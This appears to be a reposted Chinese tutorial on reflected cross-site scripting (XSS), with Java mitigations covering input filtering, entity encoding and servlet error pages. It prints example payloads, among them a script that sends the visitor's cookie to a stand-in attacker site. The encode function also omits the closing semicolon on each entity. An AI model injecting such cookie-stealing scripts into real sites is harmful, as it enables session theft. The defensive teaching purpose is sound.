1. 程式人生 > >跨站指令碼攻擊(XSS)幾種解決方案淺析

跨站指令碼攻擊(XSS)幾種解決方案淺析

一、概述

       Cross-site scripting(CSS or XSS)跨站指令碼不像其他攻擊只包含兩個部分:攻擊者和web站點,跨站指令碼包含三個部分:攻擊者,客戶和web站點。跨站指令碼攻擊的目的是竊取客戶的cookies,或者其他可以證明使用者身份的敏感資訊。

 
二、XSS攻擊原理

一個get請求:

 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0

 Host:www.vulnerable.site

會產生如下的結果:

<HTML>
< Title>Welcome!</Title>
 Hi Joe Hacker
< BR>
 Welcome to our system
 ...
< /HTML>



但是如果請求被篡改

 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
 Host:www.vulnerable.site

就會得到如下的響應

<HTML>
< Title>Welcome!</Title>
 Hi <script>alert(document.cookie)</script>
< BR>
 Welcome to our system
 ...
< /HTML>



這樣在客戶端會有一段非法的指令碼執行,這不具有破壞作用,但是如下的指令碼就很危險了。

http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collec

t.cgi?cookie=”%2Bdocument.cookie)</script>


響應如下:

<HTML>
< Title>Welcome!</Title>
 Hi
< script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)<
 /script>
< BR>
 Welcome to our system
 ...
< /HTML>



      瀏覽器回執行該指令碼並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。變體:除了使用<script>這個指令碼之外,還可以使用其他的<img src=”javascript:...”>,這樣對於過濾的站點有效。對於<input type=text name=user value=”...”>這樣的輸入,可以通過如下攻擊<input type=text name=user value=”<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>” />

三、解決方法

1,輸入過濾:

        對每一個使用者的輸入或者請求首部,都要進行過濾。這需要程式設計師有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。

 final String filterPattern="[<>{}\\[\\];\\&]";
 String inputStr = s.replaceAll(filterPattern," ");



 2,輸出過濾:

public static String encode(String data){
   final StringBuffer buf = new StringBuffer();
   final char[] chars = data.toCharArray();
   for (int i = 0; i < chars.length; i++){
      buf.append("&#" + (int) chars[i]);
   }
   return buf.toString();
}
public static String decodeHex(final String data, final String charEncoding){
   if (data == null){
        return null; 
   }
   byte[] inBytes = null; 
   try{
      inBytes = data.getBytes(charEncoding);
   }catch (UnsupportedEncodingException e){
     //use default charset
     inBytes = data.getBytes();
   }

   byte[] outBytes = new byte[inBytes.length];

   int b1;
   int b2;
   int j=0;
   for (int i = 0; i < inBytes.length; i++){
      if (inBytes[i] == '%'){
         b1 = Character.digit((char) inBytes[++i], 16);
         b2 = Character.digit((char) inBytes[++i], 16);
         outBytes[j++] = (byte) (((b1 & 0xf) << 4) +(b2 & 0xf));
     }else{
         outBytes[j++] = inBytes[i];
     }
   }

   String encodedStr = null;
   try{
      encodedStr = new String(outBytes, 0, j, charEncoding);
   }catch (UnsupportedEncodingException e){
      encodedStr = new String(outBytes, 0, j);
   }
   return encodedStr;
}
< !-- Maps the 404 Not Found response code to the error page /errPage404 -->

<error-page>
    <error-code>404</error-code>
    <location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions to the error page /errPageServ -->
<error-page>
    <exception-type>javax.servlet.ServletException</exception-type>
    <location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions to a generic error page /errPageGeneric -->
<error-page>
    <exception-type>java.lang.Throwable</exception-type>
    <location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)request.getAttribute("javax.servlet.error.exception");

String status_code = ((Integer)request.getAttribute("javax.servlet.error.status_code")).toString( );
3,安裝三方的應用防火牆,可以攔截css攻擊。